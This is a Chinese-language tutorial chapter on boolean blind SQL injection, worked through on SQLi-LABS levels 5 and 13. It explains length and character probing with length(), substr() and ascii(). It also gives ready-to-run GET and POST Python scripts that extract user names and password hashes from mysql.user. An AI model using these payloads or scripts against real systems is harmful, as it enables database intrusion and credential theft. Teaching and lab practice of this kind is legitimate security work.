「作者简介」:2022年北京冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础对安全知识体系进行总结与归纳,著作适用于快速入门的 《网络安全自学教程》,内容涵盖系统安全、信息收集等12个知识域的一百多个知识点,持续更新。
这一章节我们需要知道布尔盲注的原理和使用步骤。
布尔盲注是SQL注入漏洞的利用方式之一,布尔盲注使用时分为两个步骤:
- 使用
length()
函数判断查询结果的「长度」 - 使用
substr()
函数「截取」每一个字符,并「穷举」出字符内容
布尔盲注
- 1、原理分析
- 1.1、长度判断原理
- 1.2、穷举字符原理
- 2、步骤总结
- 2.1、判断注入点
- 2.2、判断长度
- 2.3、枚举字符
- 3、盲注脚本
1、原理分析
接下来,我们以测试网站(SQLi LABS 第5关)为例,解释一下这两个步骤的详细使用方式和注入的原理。
1.1、长度判断原理
首先,利用MySQL的 length()
函数判断返回结果的「长度」是多少。
比如,我们猜database()
当前数据库名字的长度是1个字符,在地址栏输入:
?id=1' and length( database() )=1 -- a
执行流程如下:
页面异常(空)显示,表示猜解长度有误;
页面正常显示,表示猜解长度正确;
依次猜测1,2,3……n,直至长度猜解正确(页面正常显示)。
如上,测试长度1~7一直异常(空)显示,测试长度8时变为正常显示,就意味着查询结果的长度是8.
1.2、穷举字符原理
查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。
不了解ASCLL编码的可以看我的另一篇文章:ASCLL编码详解,ASCLL编码对照表
使用MySQL的 substr()
函数「截取」查询结果的第一个字符,使用 ascii()
函数 将截取的字符「转换」成 ASCLL编码,依次判断是否等于32,33,34……126。
页面异常(空)显示,表示猜解失误;
页面正常显示,表示猜解正确;
猜解流程如下:
ASCLL编码 115 对应的字符是 ‘s’,确定第一个字符是:s
上一步已经确定了长度是 8,依次截取第 1~8个字符,并依次判断每个字符的内容。
2、步骤总结
页面没有显示位置,没有报错信息,只有登录成功和登录失败这两种情况时,使用布尔盲注。布尔盲注的效率并不高,所以使用优先级排在联合准入、报错注入后面。
2.1、判断注入点
同时满足以下两种情况:
?id=1' and 1 -- a 正常显示
?id=1' and 0 -- a 异常(空)显示
2.2、判断长度
?id=1' and length( 查询语句 )=1 -- a
2.3、枚举字符
?id=1 and ascii(substr( 查询语句 ,1,1))=32 -- a
3、盲注脚本
手工盲注的时间复杂度非常大,通常会使用脚本盲注。
get请求盲注脚本:
import requests# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length((select group_concat(user,password)from mysql.user)) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((select group_concat(user,password)from mysql.user),{n},1)) = {r} -- a"""# 获取长度
def getLength(url, payload):length = 1 # 初始测试长度为1while True:response = requests.get(url= url+payload_len.format(n= length))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)length += 1 # 测试长度递增# 获取字符
def getStr(url, payload, length):str = '' # 初始表名/库名为空# 第一层循环,截取每一个字符for l in range(1, length+1):# 第二层循环,枚举截取字符的每一种可能性for n in range(33, 126):response = requests.get(url= url+payload_str.format(n= l, r= n))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:str+= chr(n)print('第', l, '个字符猜解成功:', str)break;return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
post请求盲注脚本:
import requests# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length((select group_concat(user,password) from mysql.user))>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(substr((select group_concat(user,password)from mysql.user),{l},1))={n} -- a"""# post请求参数
data= {"uname" : "a') or 1 -- a","passwd" : "1","submit" : "Submit"
}# 判断长度
def getLen(payload_len):length = 1while True:# 修改请求参数data["uname"] = payload_len.format(n = length)response = requests.post(url=url, data=data)# 出现此内容为登录成功if '../images/flag.jpg' in response.text:print('正在测试长度:', length)length += 1else:print('测试成功,长度为:', length)return length;# 枚举字符
def getStr(length):str = ''# 从第一个字符开始截取for l in range(1, length+1):# 枚举字符的每一种可能性for n in range(32, 126):data["uname"] = payload_str.format(l=l, n=n)response = requests.post(url=url, data=data)if '../images/flag.jpg' in response.text:str += chr(n)print('第', l, '个字符枚举成功:',str )breaklength = getLen(payload_len)
getStr(length)